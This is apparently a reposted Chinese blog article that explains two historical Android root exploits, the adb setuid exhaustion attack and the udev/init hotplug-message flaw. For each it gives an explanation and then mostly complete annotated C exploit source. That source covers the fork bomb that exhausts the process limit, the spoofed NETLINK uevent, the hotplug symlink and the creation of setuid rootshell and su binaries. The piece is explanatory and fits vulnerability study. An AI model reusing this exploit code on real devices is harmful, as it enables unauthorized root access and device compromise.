Android中可以获取root权限的两种漏洞分析

来源:互联网 发布:淘宝如何搜索百度网盘 编辑:程序博客网 时间:2024/05/29 11:11

Android获取root的漏洞有两个——udev 漏洞和adb setuid exhaustion 攻击,我将分别作出介绍。并且依据udev漏洞制作了破解手机root权限的简单软件。

adb setuid exhaustion 攻击

在介绍这种攻击方法的时候,首先要了解adb的概念,简而言之adb是android sdk里的一个工具, 用这个工具可以直接操作管理android模拟器或者真实的andriod设备(如G1手机). 它的主要功能有:

  * 运行设备的shell(命令行)

  * 管理模拟器或设备的端口映射

  * 计算机和设备之间上传/下载文件

  * 将本地apk软件安装至模拟器或android设备

ADB是一个 客户端-服务器端 程序, 其中客户端是你用来操作的电脑, 服务器端是android设备。

    我们知道Android系统是基于Linux内核的,这个攻击方法正式利用了setuid命令来获取root权限的。当手机连接电脑的时候,手机就会创建一个adb进程,来管理电脑客户端,通过对android源码的研究发现这个adb进程刚刚建立的时候是具有root权限的,当进程启动之后,adb会调用setuid命令来将自己权限变成普通的进程,但是源码中并没有对这一指令是否执行成功做出判断,这个漏洞可以让我们能通过某种手段来阻止setuid命令顺利进行从而获取root权限。

       adb setuid exhaustion 攻击流程如下:

1. 首先漏洞代码会检查NPROC setting,也就是系统允许的用户进程的上限,

2. 代码会找到当前adb守护进程的pid号。

3.然后漏洞程序不断制造僵尸子进程,直到系统允许的最大值。

4.这时候漏洞程序会杀掉当前adb进程,并在产出出新的adb进程之前产生出一个新的子进程,保证用户进程数目在系统的上限。

5.当新的adb进程产生之后,它允许在root的状态,adb完成初始化操作之后会检查自己应该继续保持root权限还是要将自己的权限降为普通用户,这时候普通用户的进程数目还是最大值,所以当adb进程调用setuid试图降级自己的权限的时候并不能成功,adb进程还是以root权限允许,但是adb并没有检查setuid命令是否执行成功,这时候我们就获取了root权限。

6.在adb中执行adb push su /system/bin/su和adb shell "chmod 4755 /system/bin/su”这样用户程序可以随时通过su命令获取root权限了。

漏洞攻击文件源码分析如下:

int main(int argc, char **argv)

{

    pid_t adb_pid = 0, p;

    int pids = 0, new_pids = 1;

    int pepe[2];

    char c = 0;

    struct rlimit rl;

 

    printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");

    printf("[*] checking NPROC limit ...\n");

//得到用户最多能创建的用户进程数目

    if (getrlimit(RLIMIT_NPROC, &rl) < 0)

        die("[-] getrlimit");

 

    if (rl.rlim_cur == RLIM_INFINITY) {

        printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");

        exit(1);

    }

 

    printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);

    printf("[*] Searching for adb ...\n");

//找到adb进程的pid编号

    adb_pid = find_adb();

 

    if (!adb_pid)

        die("[-] Cannot find adb");

 

    printf("[+] Found adb as PID %d\n", adb_pid);

    printf("[*] Spawning children. Dont type anything and wait for reset!\n");

    printf("[*]\n[*] If you like what we are doing you can send us PayPal money to\n"

           "[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"

           "[*] If you are a company and feel like you profit from our work,\n"

           "[*] we also accept donations > 1000 USD!\n");

    printf("[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login.\n");

 

    sleep(5);

//fork 了一个新的进程,父进程退出,而子进程继续。

    if (fork() > 0)

        exit(0);

 

    setsid();

    //建立一个管道,用于和子进程通讯

    pipe(pepe);

 

    /* generate many (zombie) shell-user processes so restarting

     * adb's setuid() will fail.

     * The whole thing is a bit racy, since when we kill adb

     * there is one more process slot left which we need to

     * fill before adb reaches setuid(). Thats why we fork-bomb

     * in a seprate process.

     */

    if (fork() == 0) {

        close(pepe[0]);

        for (;;) {

            //新建一个进程后,在子进程之中,exploit 代码不断地 fork()

            //而新的子进程不断 退出,从而产生大量的僵尸进程(占据 shell 用户的进程数)

            if ((p = fork()) == 0) {

                exit(0);

            } else if (p < 0) {

                //最终,进程数达到上限,fork() 返回小于 0,于是打印当前已经创建多少子进程,

                //并向管道输入一个字符

                if (new_pids) {

                    printf("\n[+] Forked %d childs.\n", pids);

                    new_pids = 0;

                    write(pepe[1], &c, 1);//和父进程同步

                    close(pepe[1]);

                }

            } else {

                ++pids;

            }

        }

    }

 

    close(pepe[1]);

    read(pepe[0], &c, 1);//因而阻塞直至僵尸进程已经达到上限。

    //进一步的,exploit 杀掉 adb 进程,并在系统检测到这一现象并重启一个 adb 之前,

     //再一次 fork(),将前一个 adb 留下的进程空位占据。

    restart_adb(adb_pid);

 

    if (fork() == 0) {

        fork();

        for (;;)

            sleep(0x743C);

    }

 

    wait_for_root_adb(adb_pid);

    return 0;

}

udev 漏洞

在介绍udev漏洞之前先介绍下Linux的热插拔机制,在Linux设备管理中对于热插拔的设备(比如说u盘)会使用udev模块。当热插拔设备连接到系统上后udev模块采用类似一种特殊的套接字的方式来进行用户程序和系统内核的通信,而udev模块是具有root权限的模块。热插拔发生时会产生一个udevd_uevent_msg对象,对象状态被设置成EVENT_QUEUED,udev模块收到这个消息之后就会根据rules.d里面的规则进行设备的管理。

在基于Linux内核的Android中使用了udev的机制来执行热插播。不过,它的 udev 机制是在 init code中实现的,这个和普通的linux 发行版本不同。 当有一个设备插入android后,会通过socket 给 init 发一个 消息, 消息里面包含了执行什么样的动作。 通常是 创建某一个设备文件。 因此,init 在执行 这些操作的时候,使用的都是 root 权限。

但是udev有一个bug就是它并没有检测这个消息到底是不是来自于kernel。如果一个应用程序给 init 发一个udev 消息,让他执行某一些操作就可以获得root权限了。

通过udev获取root 权限的方法就是基于这个漏洞。 我们执行这个程序的时候,是普通用户的权限。 这个程序首先把自身copy 到某一个文件,假设为A,然后这个程序给init 发一个udev 消息, 让它去执行文件A。 要知道这一次再执行的时候是init去执行的,并且是root权限执行的。 因此, 如果我在程序一开头做一个判断,如果是通过init 调用的自身, 就把自身 copy 到 /system/bin/rootshell, 并且把它的mode 设置成 04711。 这里注意, setuid bit 被设置了。 因此下一次普通用户去执行/system/bin/rootshell的时候,漏洞程序就会把自己的su文件拷贝到system/bin/su下面(以root权限拷贝)。这样用户需要root权限的时候就访问system/bin/su就能获得root权限。

漏洞源码分析如下:

int main(int argc, char **argv, char **env)

 

{

 

        char buf[512], path[512];

 

        int ofd;

 

        struct sockaddr_nl snl;

 

        struct iovec iov = {buf, sizeof(buf)};

 

        //(1)初始化要发送的数据,通过NET_LINK机制(参见man 手册,可以与内核实现近似于套接字的通信方式)发送

 

        struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};

 

        int sock;

 

        char *basedir = NULL;

 

 

 

 

        //(11)root后执行rootshell则执行该步,直接创建一个有root权限的shell

 

        if (geteuid() == 0 && getuid() != 0)

 

                rootshell(env);

 

 

 

    //(2)获取程序的路径,为/data/local/tmp/exploid

 

        if (readlink("/proc/self/exe", path, sizeof(path)) < 0)

 

                die("[-] readlink");

 

 

 

        if (geteuid() == 0) {

 

        //(9)有内核加载热拔插固件时再次执行该应用,此时有效id为为0,有root权限

 

                clear_hotplug();

 

                /* remount /system rw */

 

               

 

                //(10)拷贝自己到/system/bin/目录下成为rootshell,并改变sh的文件属性

 

                remount_system("/system");

 

                if (copy(path, "/system/bin/rootshell") != 0)

 

                        chmod("/system/bin/sh", 04755);

 

                else

 

                        chmod("/system/bin/rootshell", 04711);

 

                for (;;)

 

                        sleep(3);

 

        }

 

 

 

        printf("[*] Android local root exploid (C) The Android Exploid Crew\n");

 

    //(3)改变工作目录,没有root权限,只可以在少数目录执行

 

        basedir = "/sqlite_stmt_journals";

 

        if (chdir(basedir) < 0) {

 

                basedir = "/data/local/tmp";

 

                if (chdir(basedir) < 0)

 

                        basedir = strdup(getcwd(buf, sizeof(buf)));

 

        }

 

        printf("[+] Using basedir=%s, path=%s\n", basedir, path);

 

        printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");

 

 

 

        memset(&snl, 0, sizeof(snl));

 

        snl.nl_pid = 1;

 

        snl.nl_family = AF_NETLINK;

 

       

 

    //(4)构建一个NETLINK的套接字

 

        if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)

 

                die("[-] socket");

 

 

 

    //(5)创建要热拔插的文件,其中hotplug文件中存储的为/data/local/tmp/exploid

 

        close(creat("loading", 0666));

 

        if ((ofd = creat("hotplug", 0644)) < 0)

 

                die("[-] creat");

 

        if (write(ofd, path , strlen(path)) < 0)

 

                die("[-] write");

 

        close(ofd);

 

       

 

        //(6)建立一个data文件,为指向系统的hotplug的符号链接

 

        symlink("/proc/sys/kernel/hotplug", "data");

 

       

 

        //(7)构建发送给内核的信息,内容为进行热拔插,固件位置在/data/local/tmp/hotplug

 

        snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"

 

                 "SUBSYSTEM=firmware%c"

 

                 "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);

 

        printf("[+] sending add message ...\n");

 

       

 

        //(8)发送该信息

 

        if (sendmsg(sock, &msg, 0) < 0)

 

                die("[-] sendmsg");

 

        close(sock);

 

        printf("[*] Try to invoke hotplug now, clicking at the wireless\n"

 

               "[*] settings, plugin USB key etc.\n"

 

               "[*] You succeeded if you find /system/bin/rootshell.\n"

 

               "[*] GUI might hang/restart meanwhile so be patient.\n");

 

        sleep(3);

 

        return 0;

 

}

原创粉丝点击